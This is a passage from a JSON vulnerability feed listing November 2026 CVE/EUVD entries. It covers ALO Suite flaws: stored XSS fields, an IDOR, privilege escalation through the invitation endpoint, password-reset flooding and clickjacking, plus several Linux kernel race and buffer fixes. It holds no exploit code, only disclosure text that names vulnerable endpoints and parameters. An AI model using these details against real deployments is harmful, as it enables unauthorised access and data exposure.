session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108055: Nombre in ‘/Inmuebles/Create’;","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:18","euvd":{"id":"EUVD-2026-115804","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108055: Nombre in ‘/Inmuebles/Create’;","published_time":"2026-11-03T12:26:33","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108056","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108056: NombrePF in ‘/Empresas/Create’;","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:18","euvd":{"id":"EUVD-2026-115805","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108056: NombrePF in ‘/Empresas/Create’;","published_time":"2026-11-03T12:26:36","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108057","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108057: Nombre in ‘/PlantillasPdf/Edit/1273129’;","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:18","euvd":{"id":"EUVD-2026-115806","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108057: Nombre in ‘/PlantillasPdf/Edit/1273129’;","published_time":"2026-11-03T12:26:39","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108058","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108058: Nombre in ‘/PlantillasMail/Edit’;","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:18","euvd":{"id":"EUVD-2026-115807","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108058: Nombre in ‘/PlantillasMail/Edit’;","published_time":"2026-11-03T12:26:43","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108046","summary":"Direct Object Reference (IDOR) vulnerability in Alosuite due to insufficient authorization checks when processing object identifiers. By modifying the identifier provided to the ‘/Companies/Edit/{id}’ endpoint, an attacker can access information associated with other companies or users without the appropriate authorization. The vulnerability allows unauthenticated remote attackers to enumerate valid object identifiers and retrieve information that should be restricted to authorized users, resulting in the unauthorized disclosure of application data.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:17","euvd":{"id":"EUVD-2026-115795","description":"Direct Object Reference (IDOR) vulnerability in Alosuite due to insufficient authorization checks when processing object identifiers. By modifying the identifier provided to the ‘/Companies/Edit/{id}’ endpoint, an attacker can access information associated with other companies or users without the appropriate authorization. The vulnerability allows unauthenticated remote attackers to enumerate valid object identifiers and retrieve information that should be restricted to authorized users, resulting in the unauthorized disclosure of application data.","published_time":"2026-11-03T12:25:50","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108047","summary":"Inadequate authorization vulnerability in Alosuite’s user invitation functionality. The ‘/Requests/userInvitation’ endpoint does not properly validate the assignment of privileges on the server, allowing an attacker to manipulate the invitation parameters during the request process. By intercepting and modifying a legitimate invitation request, an unauthenticated attacker can assign administrative privileges to a newly invited user without the appropriate authorization checks. A successful exploit results in unauthorized privilege escalation, granting full administrative access to the affected application.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.6,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:17","euvd":{"id":"EUVD-2026-115796","description":"Inadequate authorization vulnerability in Alosuite’s user invitation functionality. The ‘/Requests/userInvitation’ endpoint does not properly validate the assignment of privileges on the server, allowing an attacker to manipulate the invitation parameters during the request process. By intercepting and modifying a legitimate invitation request, an unauthenticated attacker can assign administrative privileges to a newly invited user without the appropriate authorization checks. A successful exploit results in unauthorized privilege escalation, granting full administrative access to the affected application.","published_time":"2026-11-03T12:25:58","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108048","summary":"Vulnerability due to a lack of request limits in Alosuite’s password recovery functionality. The ‘/Account/resetPwd’ endpoint does not enforce adequate restrictions on the number or frequency of password reset requests sent for a single account. As a result, a remote attacker can repeatedly call the endpoint to generate an unlimited number of password reset emails addressed to a user, causing an email flood and enabling abuse of the password recovery mechanism. The absence of request limits or other controls against automation can harm legitimate users, consume application and email infrastructure resources, and facilitate automated attacks against the password recovery service.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:17","euvd":{"id":"EUVD-2026-115797","description":"Vulnerability due to a lack of request limits in Alosuite’s password recovery functionality. The ‘/Account/resetPwd’ endpoint does not enforce adequate restrictions on the number or frequency of password reset requests sent for a single account. As a result, a remote attacker can repeatedly call the endpoint to generate an unlimited number of password reset emails addressed to a user, causing an email flood and enabling abuse of the password recovery mechanism. The absence of request limits or other controls against automation can harm legitimate users, consume application and email infrastructure resources, and facilitate automated attacks against the password recovery service.","published_time":"2026-11-03T12:26:03","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108049","summary":"Clickjacking vulnerability in the Alosuite web application. The affected login interface can be embedded in a web page controlled by an attacker because it does not implement adequate user interface protection mechanisms, such as the X-Frame-Options header or an appropriate Content-Security-Policy (frame-ancestors) directive. By tricking a victim into interacting with a malicious web page, an attacker can trigger unwanted actions within the Alosuite application embedded in the frame, which could compromise the integrity of user interactions and facilitate further attacks against authenticated users.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:17","euvd":{"id":"EUVD-2026-115798","description":"Clickjacking vulnerability in the Alosuite web application. The affected login interface can be embedded in a web page controlled by an attacker because it does not implement adequate user interface protection mechanisms, such as the X-Frame-Options header or an appropriate Content-Security-Policy (frame-ancestors) directive. By tricking a victim into interacting with a malicious web page, an attacker can trigger unwanted actions within the Alosuite application embedded in the frame, which could compromise the integrity of user interactions and facilitate further attacks against authenticated users.","published_time":"2026-11-03T12:26:07","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108050","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108050: ReferenceOtherParty in ‘/Documents/DeliveryNotes/Edit/{id}’;","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:17","euvd":{"id":"EUVD-2026-115799","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108050: ReferenceOtherParty in ‘/Documents/DeliveryNotes/Edit/{id}’;","published_time":"2026-11-03T12:26:12","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-108051","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108051: Nombre in ‘/Articulos/Create’;","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T13:17:17","euvd":{"id":"EUVD-2026-115800","description":"A stored Cross-Site Scripting (XSS) vulnerability in Alosuite that affects the delivery note functionality. Insufficient sanitization and encoding of the specified fields allow JavaScript to be stored, which executes in other users’ browsers when they view the affected records. Exploitation requires authenticated access to the affected functionality. The code can alter the displayed content and perform actions within the context of the victim’s session. The list of features, parameters, and endpoints is as follows:\n\nCVE-2026-108051: Nombre in ‘/Articulos/Create’;","published_time":"2026-11-03T12:26:15","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"INCIBE","references":["https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-am-systems-alo-suite"],"products":["ALO Suite"],"vendors":["AM System"]},"ghsa":null},{"cve_id":"CVE-2026-99269","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nsched_ext: Wait for SCX_OPSS_DISPATCHING before moving tasks off DSQs\n\nA task can be found on a non-local DSQ while the CPU which dispatched it\nis still running ops.dequeue() and hasn't cleared SCX_OPSS_DISPATCHING.\nThe DSQ consume and move paths don't wait for the dispatch to finish and\ncan operate on the task concurrently with the dispatcher.\n\nCall scx_wait_dispatching() in scx_move_local_task_to_local_dsq(),\nunlink_dsq_and_switch_rq_lock() and move_task_between_dsqs() before they\noperate on the task. In scx_move_local_task_to_local_dsq(), wait before\nscx_resolve_local_dsq() as it may update p->scx.flags.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/2935062be77113c1c4565ca9d0c72180449aafee","https://git.kernel.org/stable/c/cc2839946328c1618b3870d521b32bb9483d49d0"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:34","euvd":{"id":"EUVD-2026-115794","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nsched_ext: Wait for SCX_OPSS_DISPATCHING before moving tasks off DSQs\n\nA task can be found on a non-local DSQ while the CPU which dispatched it\nis still running ops.dequeue() and hasn't cleared SCX_OPSS_DISPATCHING.\nThe DSQ consume and move paths don't wait for the dispatch to finish and\ncan operate on the task concurrently with the dispatcher.\n\nCall scx_wait_dispatching() in scx_move_local_task_to_local_dsq(),\nunlink_dsq_and_switch_rq_lock() and move_task_between_dsqs() before they\noperate on the task. In scx_move_local_task_to_local_dsq(), wait before\nscx_resolve_local_dsq() as it may update p->scx.flags.","published_time":"2026-11-03T11:48:18","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/cc2839946328c1618b3870d521b32bb9483d49d0","https://git.kernel.org/stable/c/2935062be77113c1c4565ca9d0c72180449aafee"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99261","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction\n\nIt fixes both the move overflow and the eviction fence add for\nevicting these per-vm BOs.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/50b24a20be8c0d35f89f7d5c39533f69d84fe48e","https://git.kernel.org/stable/c/76acfb84973bd316c9fffbdfc631f3cfb1cfa4cc"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:33","euvd":{"id":"EUVD-2026-115772","description":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction\n\nIt fixes both the move overflow and the eviction fence add for\nevicting these per-vm BOs.","published_time":"2026-11-03T11:25:15","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/76acfb84973bd316c9fffbdfc631f3cfb1cfa4cc","https://git.kernel.org/stable/c/50b24a20be8c0d35f89f7d5c39533f69d84fe48e"],"products":["Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99262","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/timeout: don't lose a cancel as io-wq arms a timeout\n\nAn IORING_OP_TIMEOUT run by io-wq, because of IOSQE_ASYNC, has the same\nproblem as poll, futex and waitid. io_wq_submit_work() looks at\nIO_WQ_WORK_CANCEL once, before it issues the request. A cancel in between\nflags the work, gets -EALREADY, and searches ->timeout_list in vain,\nwhile the worker then adds the request and starts the timer:\n\n  io-wq worker                          io_try_cancel()\n  io_wq_submit_work()\n    IO_WQ_WORK_CANCEL isn't set\n                                        io_async_cancel_one()\n                                          sets IO_WQ_WORK_CANCEL\n                                          = -EALREADY\n                                        io_timeout_cancel() = -ENOENT\n    io_timeout()\n      adds the request to ->timeout_list\n      hrtimer_start()\n    = IOU_ISSUE_SKIP_COMPLETE\n\nNobody looks at the flag again, and the timeout runs its course. At ring\nexit, io_uring_try_cancel_requests() cancels io-wq work and then kills\nthe timeouts the same way, so an exiting task can get stuck for the full\nduration of such a timeout.\n\nLook at the flag under ->timeout_lock, which the search takes as well,\nand fail the request if it is set. If the search came first, the flag is\nvisible. If it comes later, it finds the request on the list.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/68cd06ba918d9658c36c1973a0184795738dcc46","https://git.kernel.org/stable/c/89f193dc3ef462059387e9691bf6af4b1808379a","https://git.kernel.org/stable/c/df705a274da10da7bb546e08b49fa80a6ef19c78","https://git.kernel.org/stable/c/f10ab47077e63d6eee35b242c257c3947bb49e64","https://git.kernel.org/stable/c/f1fabf17f37b252b11d8fe5c70c8056b70b005ca","https://git.kernel.org/stable/c/f9d5e02649587885852f46b6dc7c081b87f0ac3a"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:33","euvd":{"id":"EUVD-2026-115787","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/timeout: don't lose a cancel as io-wq arms a timeout\n\nAn IORING_OP_TIMEOUT run by io-wq, because of IOSQE_ASYNC, has the same\nproblem as poll, futex and waitid. io_wq_submit_work() looks at\nIO_WQ_WORK_CANCEL once, before it issues the request. A cancel in between\nflags the work, gets -EALREADY, and searches ->timeout_list in vain,\nwhile the worker then adds the request and starts the timer:\n\n  io-wq worker                          io_try_cancel()\n  io_wq_submit_work()\n    IO_WQ_WORK_CANCEL isn't set\n                                        io_async_cancel_one()\n                                          sets IO_WQ_WORK_CANCEL\n                                          = -EALREADY\n                                        io_timeout_cancel() = -ENOENT\n    io_timeout()\n      adds the request to ->timeout_list\n      hrtimer_start()\n    = IOU_ISSUE_SKIP_COMPLETE\n\nNobody looks at the flag again, and the timeout runs its course. At ring\nexit, io_uring_try_cancel_requests() cancels io-wq work and then kills\nthe timeouts the same way, so an exiting task can get stuck for the full\nduration of such a timeout.\n\nLook at the flag under ->timeout_lock, which the search takes as well,\nand fail the request if it is set. If the search came first, the flag is\nvisible. If it comes later, it finds the request on the list.","published_time":"2026-11-03T11:48:15","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/f1fabf17f37b252b11d8fe5c70c8056b70b005ca","https://git.kernel.org/stable/c/68cd06ba918d9658c36c1973a0184795738dcc46","https://git.kernel.org/stable/c/f9d5e02649587885852f46b6dc7c081b87f0ac3a","https://git.kernel.org/stable/c/f10ab47077e63d6eee35b242c257c3947bb49e64","https://git.kernel.org/stable/c/df705a274da10da7bb546e08b49fa80a6ef19c78","https://git.kernel.org/stable/c/89f193dc3ef462059387e9691bf6af4b1808379a"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99263","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/poll: avoid retry wakeup loss when dropping ownership\n\nIf a wakeup sets IO_POLL_RETRY_FLAG between the owning task consuming\nthe existing instance of IO_POLL_RETRY_FLAG and the loop check\nof io_poll_check_events(), then we stall on processing the request\nuntil an unrelated wakeup comes along.\n\nUsing atomic_cmpxchg instead of atomic_sub_return to guarantee both the\ncount v and poll_refs are 0 and no wake-ups are missed.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/41fae2e9e1fa3bee86aee0a25ba90e59ce5024bf","https://git.kernel.org/stable/c/4ef685b8505615729d75c875f52822238bf76ca6","https://git.kernel.org/stable/c/521e8a65e9b45532295ba1082ef12be6e80c173b","https://git.kernel.org/stable/c/937d38dcacd675dc0572d6c9b6743960df3128ed","https://git.kernel.org/stable/c/afa407c02f3aa0fd872f86c9bf1b34502e0fa8f0","https://git.kernel.org/stable/c/d1f6850086ac6f8b0fa44fb19aa2a468c73ee071","https://git.kernel.org/stable/c/eb2a50d8235e4580fea9aa20f3fbe1a002c38cb1"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:33","euvd":{"id":"EUVD-2026-115788","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/poll: avoid retry wakeup loss when dropping ownership\n\nIf a wakeup sets IO_POLL_RETRY_FLAG between the owning task consuming\nthe existing instance of IO_POLL_RETRY_FLAG and the loop check\nof io_poll_check_events(), then we stall on processing the request\nuntil an unrelated wakeup comes along.\n\nUsing atomic_cmpxchg instead of atomic_sub_return to guarantee both the\ncount v and poll_refs are 0 and no wake-ups are missed.","published_time":"2026-11-03T11:48:15","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/d1f6850086ac6f8b0fa44fb19aa2a468c73ee071","https://git.kernel.org/stable/c/41fae2e9e1fa3bee86aee0a25ba90e59ce5024bf","https://git.kernel.org/stable/c/4ef685b8505615729d75c875f52822238bf76ca6","https://git.kernel.org/stable/c/afa407c02f3aa0fd872f86c9bf1b34502e0fa8f0","https://git.kernel.org/stable/c/eb2a50d8235e4580fea9aa20f3fbe1a002c38cb1","https://git.kernel.org/stable/c/521e8a65e9b45532295ba1082ef12be6e80c173b","https://git.kernel.org/stable/c/937d38dcacd675dc0572d6c9b6743960df3128ed"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99264","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/net: don't retry recv on uncommitted buffers\n\nCommit 41b70df5b38b (\"io_uring/net: commit partial buffers on retry\")\ncommits ring provided buffers when a receive is going to be retried after\na partial transfer, so that another request using the same buffer group\ncan't be handed the memory the first one keeps receiving into. It commits\nthe number of bytes received so far. That does the job for a single\nbuffer which is consumed as a whole, but the request hangs on to all it\nhas mapped:\n\n- For a buffer ring with IOU_PBUF_RING_INC only these bytes are consumed.\n  The rest of the buffer stays at the head of the ring.\n- For a bundle only the buffers which hold these bytes are consumed, the\n  others that were peeked stay in the ring.\n\nIn both cases the next receive with that buffer group gets memory that\nthe retried request is still going to write to, and whoever comes last\noverwrites the data of the other. What the retry fills isn't committed at\nall, as the buffer list isn't known any more at that point. So the kernel\nhands it out again later on, while the CQE tells the application that it\nwas used, and for an incremental buffer that it is done with.\n\nThe remainder can't be committed in advance: if the request ends up\nreceiving less, there is no way to tell the application that more was\nconsumed than the CQE accounts for. Complete the request with what it has\ngot instead of retrying it. MSG_WAITALL is no longer honoured for\nreceives into incremental buffers or multi buffer bundles, they can\nreturn a short count, with the request marked as failed like for other\nshort MSG_WAITALL transfers.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/21cb1770a56a51266ab96d4ed2a3b6979db59694","https://git.kernel.org/stable/c/8444de681a179e41a4eb92d5bbe770a0677074a6","https://git.kernel.org/stable/c/97b8dc36ba3cb176b74a7929140aeaeb40d5cdc0","https://git.kernel.org/stable/c/fc8506eea4498ecba26ef8bf6dbbd74af3dc891d"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:33","euvd":{"id":"EUVD-2026-115789","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/net: don't retry recv on uncommitted buffers\n\nCommit 41b70df5b38b (\"io_uring/net: commit partial buffers on retry\")\ncommits ring provided buffers when a receive is going to be retried after\na partial transfer, so that another request using the same buffer group\ncan't be handed the memory the first one keeps receiving into. It commits\nthe number of bytes received so far. That does the job for a single\nbuffer which is consumed as a whole, but the request hangs on to all it\nhas mapped:\n\n- For a buffer ring with IOU_PBUF_RING_INC only these bytes are consumed.\n  The rest of the buffer stays at the head of the ring.\n- For a bundle only the buffers which hold these bytes are consumed, the\n  others that were peeked stay in the ring.\n\nIn both cases the next receive with that buffer group gets memory that\nthe retried request is still going to write to, and whoever comes last\noverwrites the data of the other. What the retry fills isn't committed at\nall, as the buffer list isn't known any more at that point. So the kernel\nhands it out again later on, while the CQE tells the application that it\nwas used, and for an incremental buffer that it is done with.\n\nThe remainder can't be committed in advance: if the request ends up\nreceiving less, there is no way to tell the application that more was\nconsumed than the CQE accounts for. Complete the request with what it has\ngot instead of retrying it. MSG_WAITALL is no longer honoured for\nreceives into incremental buffers or multi buffer bundles, they can\nreturn a short count, with the request marked as failed like for other\nshort MSG_WAITALL transfers.","published_time":"2026-11-03T11:48:16","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/21cb1770a56a51266ab96d4ed2a3b6979db59694","https://git.kernel.org/stable/c/fc8506eea4498ecba26ef8bf6dbbd74af3dc891d","https://git.kernel.org/stable/c/97b8dc36ba3cb176b74a7929140aeaeb40d5cdc0","https://git.kernel.org/stable/c/8444de681a179e41a4eb92d5bbe770a0677074a6"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99265","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/openclose: keep the lock in io_pipe_fixed()\n\nio_pipe_fixed() installs both ends of the pipe in the fixed file table,\ndrops ->uring_lock, and copies the slot numbers to the application. If\nthat faults, it takes the lock again and removes whatever is in these\nslots.\n\nIf the request is run by io-wq the lock really is dropped in between, and\nthe slots are visible to everybody else. By the time the error path gets\nto them, they may have been closed and reused, by IORING_OP_CLOSE and a\ndirect open or accept, or by IORING_REGISTER_FILES_UPDATE. Then a file is\nremoved from the table that has nothing to do with the failed request.\n\nDo the copy with the lock held. Faulting in user memory under\n->uring_lock is fine, the registration paths do it all the time.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/7299a32764ab875443b58581d929027954dcf24c","https://git.kernel.org/stable/c/a3d7ee11289f657aa9af826d8f0844221292a27a","https://git.kernel.org/stable/c/b4b7b2d19dab611f3cf3d052aa19278e7e4c4683"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:33","euvd":{"id":"EUVD-2026-115790","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/openclose: keep the lock in io_pipe_fixed()\n\nio_pipe_fixed() installs both ends of the pipe in the fixed file 